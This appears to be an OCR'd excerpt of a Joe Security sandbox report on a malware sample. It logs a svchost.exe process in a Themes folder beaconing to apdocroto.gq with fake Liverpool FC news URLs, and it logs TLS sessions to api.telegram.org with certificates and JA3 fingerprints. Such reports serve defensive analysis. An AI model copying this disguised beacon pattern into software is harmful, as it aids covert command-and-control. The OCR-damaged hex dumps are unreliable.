4 6d 2d 61 77 73 2e 63 6f 6d 2f 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 0d Oa 70 61 67 65 20
67 65 6e 65 72 61 74 65 64 20 69 6e 20 73 65 63 74 69 6f 6e 3a 20 33 30 39 38 34 37 37 0d Oa 2d 2d 3e 0d Oa 3c 68 65
61 64 3e 0d 0a 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74
70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f 6¢ 2e 63 6f 6d 22 3e 3¢ 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 70 72
65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f
6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68
74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f 6¢ 2e 63 6f 6d 22 3e 3¢ 6¢ 69 6e 6b 20 72 65 6¢ 3d 22
70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70
6f 6f 6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22
68 74 74 70 73 3a 2f 2f 66 65 6¢ 69 78 2e 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢
3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6¢ 69 78 2e 64 61 74 61

Data Ascii: 1d3d<!DOCTYPE html><html lang="en">...page generated at: Thu Mar 04 16:20:02 GMT 2021page generated
by escenic.server/hostname: reg-pres206.tm-aws.com/reg-pres206.tm-aws.compage generated in section: 3098477-->
<head><link rel="dns-prefetch" href="https://s2-prod.liverpool.com"><link rel="preconnect" href="https://s2-prod.liver
pool.com"><link rel="dns-prefetch" href="https://i2-prod.liverpool.com"><link rel="preconnect" href="https://i2-prod.liv
erpool.com"><link rel="dns-prefetch" href="https://felix.data.tm-awx.com"><link rel="preconnect" href="https://felix.data

Destination IP Destination Port Process

172.67.158.27 80 C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe
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kBytes

Timestamp transferred Direction
Jun 16, 2021 9704 ouT
12:05:57.673259974 CEST

Jun 16, 2021 10198 IN
12:05:57.892154932 CEST

Jun 16, 2021 11685 ouT

12:05:59.930252075 CEST

Copyright Joe Security LLC 2021

Data

GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-CC63E54262373453B19DBF613B3334D
E.html HTTP/1.1

Accept: application/json

UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/
537.36 OPR/38.0.2220.41

Authorization: Bearer {token}

Host: apdocroto.gq

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 16 Jun 2021 10:05:57 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Wed, 16 Jun 2021 02:15:31 GMT

Vary: Accept-Encoding

X-Frame-Options: SAMEORIGIN

CF-Cache-Status: DYNAMIC

cf-request-id: 0ab5e1f64c00002c32ef286000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\/v2?s=DIQrOOQ%2FurT0JnHR9JepWBJR%2BoEW
XBN7HMJIZHMe80UkgmR36F3dDnzcQzAPwtb4KEVWSTL6ZUcDZ3WR5ulDnYfOO2t1e8F4%2Fi50biSBgJd87ZYeltkYS
VcWP"}],"group":"cf-nel","max_age":604800}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 66033903a8f12¢c32-FRA

alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400

Data Raw: 31 64 33 64 0d 0a 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0d Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d
22 65 6e 22 3e 0d Oa 3c 21 2d 2d 0d Oa 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 61 74 3a 20 54 68 75 20 4d 61 72
203034 20 31 36 3a 32 30 3a 30 32 20 47 4d 54 20 32 30 32 31 0d Oa 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 62
7920 65 73 63 65 6e 69 63 2e 73 65 72 76 65 72 2f 68 6f 73 74 6e 61 6d 65 3a 20 72 65 67 2d 70 7265 73 32 30 36 2e 7
46d 2d 6177 73 2e 63 6f 6d 2f 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 0d Oa 70 61 67 65 20
67 65 6e 65 72 61 74 65 64 20 69 6e 20 73 65 63 74 69 6f 6e 3a 20 33 30 39 38 34 37 37 0d Oa 2d 2d 3e 0d Oa 3c 68 65
61 64 3e 0d Oa 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74
70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f 6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 70 72
65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f
6¢c 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68
747470 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f 6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22
70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70
6f 6f 6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22
68 74 74 70 73 3a 2f 2f 66 65 6¢ 69 78 2e 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢
3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6¢ 69 78 2e 64 61 74 61

Data Ascii: 1d3d<!DOCTYPE htmI><html lang="en">...page generated at: Thu Mar 04 16:20:02 GMT 2021page generated
by escenic.server/hostname: reg-pres206.tm-aws.com/reg-pres206.tm-aws.compage generated in section: 3098477-->
<head><link rel="dns-prefetch" href="https://s2-prod.liverpool.com"><link rel="preconnect" href="https://s2-prod.liver
pool.com"><link rel="dns-prefetch" href="https://i2-prod.liverpool.com"><link rel="preconnect" href="https://i2-prod.liv
erpool.com"><link rel="dns-prefetch" href="https://felix.data.tm-awx.com"><link rel="preconnect" href="https://felix.data

GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-0B579F7D05D398DAB455F9EFDAAC369
5.html HTTP/1.1

Accept: application/json

UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/
537.36 OPR/38.0.2220.41

Authorization: Bearer {token}

Host: apdocroto.gq
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kBytes
Timestamp transferred

Jun 16, 2021 11686
12:06:00.304318905 CEST

Jun 16, 2021 13070
12:06:03.885014057 CEST

Jun 16, 2021 13072
12:06:04.096467018 CEST

HTTPS Packets

Copyright Joe Security LLC 2021

Direction

IN

ouT

Data

HTTP/1.1 200 OK

Date: Wed, 16 Jun 2021 10:06:00 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Wed, 16 Jun 2021 02:15:31 GMT

Vary: Accept-Encoding

X-Frame-Options: SAMEORIGIN

CF-Cache-Status: DYNAMIC

cf-request-id: 0ab5e1ff2900002c32afbdc000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\v2?s=hbPZ7Q80agQdNeOaCgf1En1EOWrLFHbB
mJIX3LrNPh507v%2BTrsiDswvI3C5gpMgQPOQnKp9DDNg802qSzC4Xw2nH%2B%2BYre2Pqlyt3M4apBLVd%2Fg03745
1vQg%2B8"}],"group":"cf-nel","max_age":604800}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 66033911dab52c32-FRA

alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400

Data Raw: 31 64 33 64 0d Oa Od Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d Oa 3c 68 74 6d 6¢ 20 6c 61 6e 67 3d
22 65 6e 22 3e 0d Oa 3c 21 2d 2d 0d Oa 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 61 74 3a 20 54 68 75 20 4d 61 72
203034 20 31 36 3a 32 30 3a 30 32 20 47 4d 54 20 32 30 32 31 0d Oa 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 62
79 20 65 73 63 65 6e 69 63 2e 73 65 72 76 65 72 2f 68 6f 73 74 6e 61 6d 65 3a 20 72 65 67 2d 70 72 65 73 32 30 36 2e 7
4 6d 2d 61 77 73 2e 63 6f 6d 2f 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d Od Oa 70 61 67 65 20
67 65 6e 65 72 61 74 65 64 20 69 6e 20 73 65 63 74 69 6f 6e 3a 20 33 30 39 38 34 37 37 0d Oa 2d 2d 3e 0d Oa 3c 68 65
61 64 3e 0d 0a 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74
70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f 6¢ 2e 63 6f 6d 22 3e 3¢ 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 70 72
65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f
6c 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68
7474 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f 6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22
70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70
6f 6f 6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22
68 74 74 70 73 3a 2f 2f 66 65 6¢ 69 78 2e 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢C
3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6¢ 69 78 2e

Data Ascii: 1d3d<!DOCTYPE html><html lang="en">...page generated at: Thu Mar 04 16:20:02 GMT 2021page generated
by escenic.server/hostname: reg-pres206.tm-aws.com/reg-pres206.tm-aws.compage generated in section: 3098477-->
<head><link rel="dns-prefetch" href="https://s2-prod.liverpool.com"><link rel="preconnect" href="https://s2-prod.liver
pool.com"><link rel="dns-prefetch" href="https://i2-prod.liverpool.com"><link rel="preconnect" href="https://i2-prod.liv
erpool.com"><link rel="dns-prefetch" href="https://felix.data.tm-awx.com"><link rel="preconnect" href="https://felix.

GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-73850014335AB72CBE7866A38A201CD
2.html HTTP/1.1

Accept: application/json

UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/
537.36 OPR/38.0.2220.41

Authorization: Bearer {token}

Host: apdocroto.gq

HTTP/1.1 200 OK

Date: Wed, 16 Jun 2021 10:06:04 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Wed, 16 Jun 2021 02:15:32 GMT

Vary: Accept-Encoding

X-Frame-Options: SAMEORIGIN

CF-Cache-Status: DYNAMIC

cf-request-id: 0ab5e20e8e00002c321aa2e000000001

Report-To: {"endpoints":[{"url":"https:V\Va.nel.cloudflare.comV/report\/v2?s=0H1ijeqtd9bP6SewSIfCNgTIEI9SNx4BT
jZ19QcetAehzrFdfCTZAF2tFWyNzM1M1nOMKiNffY DhNLVkobE6RZj3vUK%2Bz%2FDQHZe%2F2XrdCclfGI5bNRy%2
BJwcXs"}],"group”:“cf-nel","max_age":604800}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 6603392a7cc12c32-FRA

alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400

Data Raw: 37 64 31 36 0d Oa Od Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0d Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d
22 65 6e 22 3e 0d Oa 3c 21 2d 2d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 61 74 3a 20 54 68 75 20 4d 61 72
20 3034 20 31 36 3a 32 30 3a 30 32 20 47 4d 54 20 32 30 32 31 0d Oa 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 62
79 20 65 73 63 65 6e 69 63 2e 73 65 72 76 65 72 2f 68 6f 73 74 6e 61 6d 65 3a 20 72 65 67 2d 70 72 65 73 32 30 36 2e 7
4 6d 2d 61 77 73 2e 63 6f 6d 2f 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d Od Oa 70 61 67 65 20
67 65 6e 65 72 61 74 65 64 20 69 6e 20 73 65 63 74 69 6f 6e 3a 20 33 30 39 38 34 37 37 0d Oa 2d 2d 3e 0d Oa 3c 68 65
61 64 3e 0d 0a 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74
70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f 6¢ 2e 63 6f 6d 22 3e 3¢ 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 70 72
65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f
6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68
74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f 6¢ 2e 63 6f 6d 22 3e 3¢ 6¢ 69 6e 6b 20 72 65 6¢ 3d 22
70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70
6f 6f 6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22
68 74 74 70 73 3a 2f 2f 66 65 6¢ 69 78 2e 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢
3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6¢ 69 78 2e 64 61

Data Ascii: 7d16<IDOCTYPE html><html lang="en">...page generated at: Thu Mar 04 16:20:02 GMT 2021page generated
by escenic.server/hostname: reg-pres206.tm-aws.com/reg-pres206.tm-aws.compage generated in section: 3098477-->
<head><link rel="dns-prefetch" href="https://s2-prod.liverpool.com"><link rel="preconnect" href="https://s2-prod.liver
pool.com"><link rel="dns-prefetch" href="https://i2-prod.liverpool.com"><link rel="preconnect" href="https://i2-prod.liv
erpool.com"><link rel="dns-prefetch" href="https://felix.data.tm-awx.com"><link rel="preconnect" href="https://felix.da
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Timestamp

Jun 16, 2021
12:06:02.519313097
CEST

Jun 16, 2021
12:06:10.047739029
CEST

Source

Source IP Port

149.154.167.220 443

149.154.167.220 443

Copyright Joe Security LLC 2021

Dest

Dest IP Port

192.168.2.22 49171

192.168.2.22 49172

Subject

CN=api.telegram.org,
OU=Domain Control
Validated CN=Go Daddy
Secure Certificate Authority
-G2,
OU=http://certs.godaddy.co
m/repository/,
0O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US OU=Go Daddy Class
2 Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Secure
Certificate Authority - G2,
OU=http://certs.godaddy.co
m/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=USs

CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=api.telegram.org,
OU=Domain Control
Validated CN=Go Daddy
Secure Certificate Authority
-G2,
OU=http://certs.godaddy.co
m/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US OU=Go Daddy Class
2 Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Secure
Certificate Authority - G2,
OU=http://certs.godaddy.co
m/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US

CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US

OU=Go Daddy Class 2
Certification Authority,
0O="The Go Daddy Group,
Inc.", C=US

Issuer

CN=Go Daddy Secure
Certificate Authority - G2,
OU=http://certs.godaddy.c
om/repository/,
0O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US
CN=Go Daddy Root
Certificate Authority - G2,
0O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US
OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US OU=Go
Daddy Class 2
Certification Authority,
0O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Secure
Certificate Authority - G2,
OU=http://certs.godaddy.c
om/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US
CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US
OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US OU=Go
Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

Not
Before

Tue Mar
24
14:48:17
CET
2020
Tue May
03
09:00:00
CEST
2011
Wed
Jan 01
08:00:00
CET
2014
Tue Jun
29
19:06:20
CEST
2004

Tue May
03
09:00:00
CEST
2011

Wed

Jan 01
08:00:00
CET
2014

Tue Jun
29
19:06:20
CEST
2004

Tue Mar
24
14:48:17
CET
2020
Tue May
03
09:00:00
CEST
2011
Wed
Jan 01
08:00:00
CET
2014
Tue Jun
29
19:06:20
CEST
2004

Tue May
03
09:00:00
CEST
2011

Wed

Jan 01
08:00:00
CET
2014

Tue Jun
29
19:06:20
CEST
2004

Not
After

Mon
May 23
18:17:38
CEST
2022
Sat May
03
09:00:00
CEST
2031 Fri
May 30
09:00:00
CEST
2031
Thu Jun
29
19:06:20
CEST
2034

Sat May
03
09:00:00
CEST
2031

Fri May
30
09:00:00
CEST
2031

Thu Jun
29
19:06:20
CEST
2034

Mon
May 23
18:17:38
CEST
2022
Sat May
03
09:00:00
CEST
2031 Fri
May 30
09:00:00
CEST
2031
Thu Jun
29
19:06:20
CEST
2034

Sat May
03
09:00:00
CEST
2031

Fri May
30
09:00:00
CEST
2031

Thu Jun
29
19:06:20
CEST
2034

JA3 SSL
Client

Fingerprint  JA3 SSL Client Digest

36f7277af969a6947a61ae
0b815907al

771,49192-
49191-49172-
49171-159-
158-57-51-
157-156-61-
60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-
10-19-5-4,0-
10-11-13-23-
65281,23-24,0

36f7277af969a6947a61ae
0b815907al

771,49192-
49191-49172-
49171-159-
158-57-51-
157-156-61-
60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-
10-19-5-4,0-
10-11-13-23-
65281,23-24,0
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Timestamp

Jun 16, 2021
12:06:20.260234118
CEST

Jun 16, 2021
12:06:25.970966101
CEST

Source

Source IP Port

149.154.167.220 443

149.154.167.220 443

Copyright Joe Security LLC 2021

Dest

Dest IP Port

192.168.2.22 49173

192.168.2.22 49174

Subject

CN=api.telegram.org,
OU=Domain Control
Validated CN=Go Daddy
Secure Certificate Authority
-G2,
OU=http://certs.godaddy.co
m/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US OU=Go Daddy Class
2 Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Secure
Certificate Authority - G2,
OU=http://certs.godaddy.co
m/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=USs

CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=api.telegram.org,
OU=Domain Control
Validated CN=Go Daddy
Secure Certificate Authority
-G2,
OU=http://certs.godaddy.co
m/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US OU=Go Daddy Class
2 Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Secure
Certificate Authority - G2,
OU=http://certs.godaddy.co
m/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US

CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

Issuer

CN=Go Daddy Secure
Certificate Authority - G2,
OU=http://certs.godaddy.c
om/repository/,
0O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US
CN=Go Daddy Root
Certificate Authority - G2,
0O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US
OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US OU=Go
Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Secure
Certificate Authority - G2,
OU=http://certs.godaddy.c
om/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US
CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US
OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US OU=Go
Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

Not
Before

Tue Mar
24
14:48:17
CET
2020
Tue May
03
09:00:00
CEST
2011
Wed
Jan 01
08:00:00
CET
2014
Tue Jun
29
19:06:20
CEST
2004

Tue May
03
09:00:00
CEST
2011

Wed

Jan 01
08:00:00
CET
2014

Tue Jun
29
19:06:20
CEST
2004

Tue Mar
24
14:48:17
CET
2020
Tue May
03
09:00:00
CEST
2011
Wed
Jan 01
08:00:00
CET
2014
Tue Jun
29
19:06:20
CEST
2004

Tue May
03
09:00:00
CEST
2011

Wed

Jan 01
08:00:00
CET
2014

Tue Jun
29
19:06:20
CEST
2004

Not
After

Mon
May 23
18:17:38
CEST
2022
Sat May
03
09:00:00
CEST
2031 Fri
May 30
09:00:00
CEST
2031
Thu Jun
29
19:06:20
CEST
2034

Sat May
03
09:00:00
CEST
2031

Fri May
30
09:00:00
CEST
2031

Thu Jun
29
19:06:20
CEST
2034

Mon
May 23
18:17:38
CEST
2022
Sat May
03
09:00:00
CEST
2031 Fri
May 30
09:00:00
CEST
2031
Thu Jun
29
19:06:20
CEST
2034

Sat May
03
09:00:00
CEST
2031

Fri May
30
09:00:00
CEST
2031

Thu Jun
29
19:06:20
CEST
2034

JA3 SSL
Client

Fingerprint  JA3 SSL Client Digest

36f7277af969a6947a61ae
0b815907al

771,49192-
49191-49172-
49171-159-
158-57-51-
157-156-61-
60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-
10-19-5-4,0-
10-11-13-23-
65281,23-24,0

36f7277af969a6947a61ae
0b815907al

771,49192-
49191-49172-
49171-159-
158-57-51-
157-156-61-
60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-
10-19-5-4,0-
10-11-13-23-
65281,23-24,0
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Timestamp

Jun 16, 2021
12:06:27.760344982
CEST

Jun 16, 2021
12:06:32.529769897
CEST

Source

Source IP Port

149.154.167.220 443

149.154.167.220 443

Copyright Joe Security LLC 2021

Dest

Dest IP Port

192.168.2.22 49175

192.168.2.22 49177

Subject

CN=api.telegram.org,
OU=Domain Control
Validated CN=Go Daddy
Secure Certificate Authority
-G2,
OU=http://certs.godaddy.co
m/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US OU=Go Daddy Class
2 Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Secure
Certificate Authority - G2,
OU=http://certs.godaddy.co
m/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=USs

CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=api.telegram.org,
OU=Domain Control
Validated CN=Go Daddy
Secure Certificate Authority
-G2,
OU=http://certs.godaddy.co
m/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US OU=Go Daddy Class
2 Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Secure
Certificate Authority - G2,
OU=http://certs.godaddy.co
m/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US

CN=Go Daddy Root
